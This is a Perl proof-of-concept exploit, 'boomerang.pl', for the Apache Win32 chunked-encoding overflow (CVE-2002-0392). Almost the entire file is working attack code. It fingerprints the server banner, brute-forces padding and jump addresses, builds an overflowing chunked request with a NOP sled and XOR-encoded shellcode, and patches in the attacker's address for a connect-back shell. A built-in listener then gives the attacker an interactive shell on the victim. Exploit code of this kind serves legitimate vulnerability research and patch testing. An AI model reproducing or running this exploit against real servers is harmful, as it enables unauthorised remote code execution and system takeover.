#!/usr/bin/perl
###############

##[ Header
#         Name:  boomerang.pl
#      Purpose:  Proof of concept exploit for Apache Win32 chunked encoding bug
#          CVE:  CVE-2002-0392
#       Author:  H D Moore <hdmoore@digitaldefense.net>
#    Copyright:  Copyright (C) 2003 Digital Defense Inc.
# Distribution:  This code may not be redistributed.
# Release Date:  January 9, 2003
#     Revision:  1.1
#     Download:  http://www.digitaldefense.net/labs/securitytools.html
##

##[ Notes
#
#   This exploit causes the remote process to connect back
#   to the attacking system and spawn a shell. The address
#   and port are specified via -H and -P. This code will
#   only work on Windows 2000 (all SP's) and may fail if
#   Apache service has third-party modules installed. If
#   the default settings don't work, try running in "brute"
#   or "quick" mode. The Apache code that is bundled with
#   related Oracle and IBM products may die after the first
#   attempt, otherwise brute-forcing is entirely possible. A
#   working NT 4.0 exploit exists but will not be made public,
#   the memory layout is a bit different and esi is used instead
#   of ebx for returning back to the shell code.
#
###

use strict;
use POSIX;
use IO::Socket;
use IO::Select;
use Getopt::Std;

sub Usage {
    my ($targets) = @_;
    
    print STDERR "\n boomerang.pl - Apache Win32 Chunked Encoding Exploit\n";
    print STDERR "======================================================\n\n";
    print STDERR "    Usage: $0 <options> -h <target> -p <port> -H <listener ip> -P <listen port> [brute|quick]\n";
    print STDERR "  Options:\n";
    print STDERR "           -c     Padding Size\n";
    print STDERR "           -j     Jump Address\n";
    print STDERR "           -t     Target Settings\n";
    print STDERR "  Targets:\n";
    
    foreach (sort(keys(%{$targets})))
    {
        print STDERR "           $_\n";
    }
    
    exit(1);
}


# target format: "Server Banner" => [pad1, pad2, pad3]
my %targets = 
(
    "Apache/1.3.14"    => [360],
    "Apache/1.3.17"    => [360],    
    "Apache/1.3.19"    => [360, 252], # 252 = 1.3.19 + ApacheJServ/1.1
    "Apache/1.3.20"    => [360],
    "Apache/1.3.22"    => [352],
    "Apache/1.3.23"    => [356],
    "Apache/1.3.24"    => [356, 244], # 244 = 1.3.24 + mod_jserv
);

# 0x1c0f143c = Win9xConHook.dll - Apache 1.3.14+
# 0x77e842f0 = Kernel32.dll     - Win2K SP3
# 0x77e97160 = Kernel32.dll     - Win2K SP1
# 0x77e827c0 = Kernel32.dll     - Win2K SP0

my @jmps = qw{ 0x1c0f143c };

my %args;
getopt('h:p:c:j:t:s:H:P:', \%args);

if (! $args{h} || ! $args{H})
{
    Usage(\%targets);
}

my $target_host = $args{h};
my $local_host  = $args{H};
my $local_port  = $args{P} || 4444;
my $target_port = $args{p} || 80;
my $target_pads = $args{c} || 0;
my $target_jebx = $args{j} || 0;
my $target_targ = $args{t} || 0;
my $target_mode = shift() || "single";
my $target_scsz = $args{s} || 8100;

if ($target_mode !~ /quick|brute|single/)
{
    print "[*] Invalid attack mode: $target_mode (quick or brute only)\n";
    exit(0);
}

if ($target_mode eq "brute" && ($args{c} || $args{j} || $args{t}))
{
    print "[*] Options are ignored using brute force mode.\n";
}

if ($target_targ)
{
    if (exists($targets{$target_targ}))
    {
        print "[*] Using target settings for $target_targ\n"; 
    } else {
        print "[*] Error, invalid target value.\n"; 
        exit(0);
    }
    $target_targ = $targets{$target_targ};
}


my @target_pile = ();
my $target;
my $shellcode;
my $rsocket;
my $request;
my $listen_pid = StartListener($local_port);

$SIG{USR2} = \&GoAway;

while(<DATA>){ $shellcode .= $_ }
$shellcode = eval($shellcode);
    
if ($target_mode eq  "single")
{
    my @pads;
    
    if ($target_targ)
    {
        foreach (@{$target_targ})
        {
            push @target_pile, [$_, $jmps[0]]; 
        }
    } else {
       
        if (! $target_pads)
        {
            my $header = GetHead($target_host, $target_port);
            foreach (keys(%targets))
            {
                if ($header =~ /$_ /)
                {
                    $target_pads = $targets{$_}->[0];
                    print "[*] Using padding size of $target_pads for server: $header\n";
                }
            }
            
            if (! $target_pads)
            {
                print "[*] Using default padding size of 360 for server: $header\n";
                $target_pads = 360;
            }
        }

        if ($target_jebx)
        {
            push @target_pile, [$target_pads, eval($target_jebx)]; 
        } else {
            push @target_pile, [$target_pads, eval($jmps[0])]; 
        }
    }
}

if ($target_mode eq  "brute")
{
    my @pads;
    my $pad;
    my $jmp;
   
    # add the most common values first
    for ($pad = 348; $pad < 368; $pad += 4) { push @pads, $pad }
    for ($pad = 200; $pad < 348; $pad += 4) { push @pads, $pad }
    for ($pad = 360; $pad < 400; $pad += 4) { push @pads, $pad }
    
    foreach $jmp (@jmps)
    {
        foreach $pad (@pads)
        {
             push @target_pile, [$pad, eval($jmp)]; 
        }
    }
    
    print "[*] Trying brute force mode with " . scalar(@target_pile) . " possible targets.\n";
}

if ($target_mode eq  "quick")
{
    my @pads;
    my $pad;
    my $jmp;
   
    # only do these pad values
    for ($pad = 352; $pad < 364; $pad += 4) { push @pads, $pad }
    
    foreach $pad (@pads)
    {
        foreach $jmp (@jmps)
        {
             push @target_pile, [$pad, eval($jmp)]; 
        }
    }
    
    print "[*] Trying quick brute force mode with " . scalar(@target_pile) . " possible targets.\n";
}

my ($a1, $a2, $a3, $a4) = split(//, gethostbyname($local_host));
$a1 = chr(ord($a1) ^ 0x93);
$a2 = chr(ord($a2) ^ 0x93);
$a3 = chr(ord($a3) ^ 0x93);
$a4 = chr(ord($a4) ^ 0x93);
substr($shellcode, 335, 4, $a1 . $a2 . $a3 . $a4);

my ($p1, $p2) = split(//, reverse(pack("s", $local_port)));
$p1 = chr(ord($p1) ^ 0x93);
$p2 = chr(ord($p2) ^ 0x93);
substr($shellcode, 330, 2, $p1 . $p2);

select(STDOUT); $|++;
foreach $target (@target_pile)
{

    print "\n";

    print "[*] Shellcode size is " . length($shellcode) . " bytes\n";

    $request = BuildExploit($target_host, $target_port, $shellcode, $target->[1], $target->[0], $target_scsz);

    print "[*] Exploit request is " . length($request) . " bytes\n";

    AttemptExploit($target_host, $target_port, $request);
}

kill("USR2", $listen_pid);
exit(0);

sub BuildExploit {
    my ($host, $port, $scode, $jmp_ebx, $pad, $scsz) = @_;
    my $request;
    my $res;
    my $srv;
    
    if (! $pad)
    {
        print "[*] Error, invalid pad size of 0 used\n";
        exit(0);
    }
    
    printf("[*] Using %d bytes of padding with jmp address 0x%.8x\n", $pad, $jmp_ebx);

    $request  = "GET / HTTP/1.1\r\n";
    $request .= "Host: $target_host:$target_port\r\n";
    $request .= "Transfer-Encoding: CHUNKED\r\n";
    $request .= "\r\n";
    $request .= "DEADBEEF ";

    # large nop sled plus shellcode
    $request .= ("\x90" x ($scsz - length($scode)));
    $request .= $scode . "\r\n";

    
    # these three bytes are for address alignment
    $request .= "PAD";  
    
    # place the appropriate amount of padding
    $request .= ("O" x $pad);

    # this is where ebx points, make it jump over the return address
    $request .= "XX" . "\xeb\x04\xeb\x04";  

    # this is the return address, it needs to point to a valid "jmp ebx" instruction
    $request .= pack("l", $jmp_ebx);

    # a mini nop sled for the short jmp to land in
    $request .= ("\x90\x90\x90\x90" x 4);

    # add 1300 to esp to hurdle into the nop sled before the shellcode
    $request .= "\x81\xc4\x14\x05\x00\x00"; # add esp, 1300
    $request .= "\xff\xe4";                 # jmp esp

    return $request;
}

sub GetHead {
    my ($host, $port) = @_;
    my $srv;
    
    my $sh = IO::Socket::INET->new (
                Proto => "tcp",
                PeerAddr => $host,
                PeerPort => $port,
                Type => SOCK_STREAM
    );
    
    if (! $sh)
    {
       print "[*] Error, could not connect to the remote host: $!\n";
       exit(0);
    } else {
        print $sh "HEAD / HTTP/1.0\r\n\r\n";
        
        while (<$sh>)
        {
            if (m/Server: (.*)/)
            {
                $srv = $1;
                $srv =~ s/\r|\n//g;
            }
        }
        
        if (! $srv)
        {
            print "[*] Error, the server did not reply with a web server banner\n";
        }
        close ($sh);
        return $srv;
    }
}

sub AttemptExploit {
    my ($host, $port, $request) = @_;
    my $s = IO::Socket::INET->new (
                Proto => "tcp",
                PeerAddr => $host,
                PeerPort => $port,
                Type => SOCK_STREAM
    );
    
    if (! $s)
    {
        print "[*] Error, could not connect to $host:$port.\n";
        exit(0);
    }
    
    print "[*] Sending " .length($request) . " bytes to remote host.\n";
    print $s $request;
    
    print "[*] Waiting for shell to spawn.\n";
    sleep(2);
    
    return(0);
}

sub StartListener {
    my ($local_port) = @_;
    my $listen_pid = $$;
    
    my $s = IO::Socket::INET->new (
                Proto => "tcp",
                LocalPort => $local_port,
                Type => SOCK_STREAM,
                Listen => 3 
    );
    
    if (! $s)
    {
        print "[*] Could not start listener: $!\n";
        exit(0);
    }
    
    print "[*] Listener started on port $local_port\n";
    
    my $exploit_pid = fork();
    if ($exploit_pid)
    {
        my $victim;
        $SIG{USR2} = \&GoAway;
        
        while ($victim = $s->accept())
        {
            kill("USR2", $exploit_pid);
            print STDOUT "[*] Starting Shell\n\n";
            StartShell($victim);
        }
        exit(0);
    }
    return ($listen_pid);
}


sub StartShell {
    my ($client) = @_;
    my $sel = IO::Select->new();

    Unblock(*STDIN);
    Unblock(*STDOUT);
    Unblock($client);

    select($client); $|++;
    select(STDIN);   $|++;
    select(STDOUT);  $|++;
    
    $sel->add($client);
    $sel->add(*STDIN);
    
    while (fileno($client))
    {
        my $fd;
        my @fds = $sel->can_read(0.2);
        
        foreach $fd (@fds)
        {
            my @in = <$fd>;
            
            if(! scalar(@in)) { next; }
            
            if (! $fd || ! $client)
            {
                print "[*] Closing connection.\n";
                close($client);
                exit(0);            
            }
            
            if ($fd eq $client)
            {
                print STDOUT join("", @in);
            } else {
                print $client join("", @in);
            }
        }
    }
    close ($client);
}


sub Unblock {
        my $fd = shift;
        my $flags;
        $flags = fcntl($fd,F_GETFL,0) || die "Can't get flags for file handle: $!\n";
        fcntl($fd, F_SETFL, $flags|O_NONBLOCK) || die "Can't make handle nonblocking: $!\n";
}

sub GoAway {
    exit(0);
}

# shellcode by hsj => http://hsj.shadowpenguin.org
__DATA__

$shellcode =
"\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x58\x83\xc0\x1b\x8d\xa0\x01".
"\xfc\xff\xff\x83\xe4\xfc\x8b\xec\x33\xc9\x66\xb9\x99\x01\x80\x30".
"\x93\x40\xe2\xfa".
"\x7b\xe4\x93\x93\x93\xd4\xf6\xe7\xc3\xe1\xfc\xf0\xd2\xf7\xf7\xe1".
"\xf6\xe0\xe0\x93\xdf\xfc\xf2\xf7\xdf\xfa\xf1\xe1\xf2\xe1\xea\xd2".
"\x93\xd0\xe1\xf6\xf2\xe7\xf6\xc3\xe1\xfc\xf0\xf6\xe0\xe0\xd2\x93".
"\xd0\xff\xfc\xe0\xf6\xdb\xf2\xfd\xf7\xff\xf6\x93\xd6\xeb\xfa\xe7".
"\xc7\xfb\xe1\xf6\xf2\xf7\x93\xe4\xe0\xa1\xcc\xa0\xa1\x93\xc4\xc0".
"\xd2\xc0\xe7\xf2\xe1\xe7\xe6\xe3\x93\xc4\xc0\xd2\xc0\xfc\xf0\xf8".
"\xf6\xe7\xd2\x93\xf0\xff\xfc\xe0\xf6\xe0\xfc\xf0\xf8\xf6\xe7\x93".
"\xf0\xfc\xfd\xfd\xf6\xf0\xe7\x93\xf0\xfe\xf7\x93\xc9\xc1\x28\x93".
"\x93\x63\xe4\x12\xa8\xde\xc9\x03\x93\xe7\x90\xd8\x78\x66\x18\xe0".
"\xaf\x90\x60\x18\xe5\xeb\x90\x60\x18\xed\xb3\x90\x68\x18\xdd\x87".
"\xc5\xa0\x53\xc4\xc2\x18\xac\x90\x68\x18\x61\xa0\x5a\x22\x9d\x60".
"\x35\xca\xcc\xe7\x9b\x10\x54\x97\xd3\x71\x7b\x6c\x72\xcd\x18\xc5".
"\xb7\x90\x40\x42\x73\x90\x51\xa0\x5a\xf5\x18\x9b\x18\xd5\x8f\x90".
"\x50\x52\x72\x91\x90\x52\x18\x83\x90\x40\xcd\x18\x6d\xa0\x5a\x22".
"\x97\x7b\x08\x93\x93\x93\x10\x55\x98\xc1\xc5\x6c\xc4\x63\xc9\x18".
"\x4b\xa0\x5a\x22\x97\x7b\x14\x93\x93\x93\x10\x55\x9b\xc6\xfb\x92".
"\x92\x93\x93\x6c\xc4\x63\x16\x53\xe6\xe0\xc3\xc3\xc3\xc3\xd3\xc3".
"\xd3\xc3\x6c\xc4\x67\x10\x6b\x6c\xe7\xf0\x18\x4b\xf5\x54\xd6\x93".
"\x91\x93\xf5\x54\xd6\x91\x28\x39\x54\xd6\x97\x4e\x5f\x28\x39\xf9".
"\x83\xc6\xc0\x6c\xc4\x6f\x16\x53\xe6\xd0\xa0\x5a\x22\x82\xc4\x18".
"\x6e\x60\x38\xcc\x54\xd6\x93\xd7\x93\x93\x93\x1a\xce\xaf\x1a\xce".
"\xab\x1a\xce\xd3\x54\xd6\xbf\x92\x92\x93\x93\x1e\xd6\xd7\xc3\xc6".
"\xc2\xc2\xc2\xd2\xc2\xda\xc2\xc2\xc5\xc2\x6c\xc4\x77\x6c\xe6\xd7".
"\x6c\xc4\x7b\x6c\xe6\xdb\x6c\xc4\x7b\xc0\x6c\xc4\x6b\xc3\x6c\xc4".
"\x7f\x19\x95\xd5\x17\x53\xe6\x6a\xc2\xc1\xc5\xc0\x6c\x41\xc9\xca".
"\x1a\x94\xd4\xd4\xd4\xd4\x71\x7a\x50";
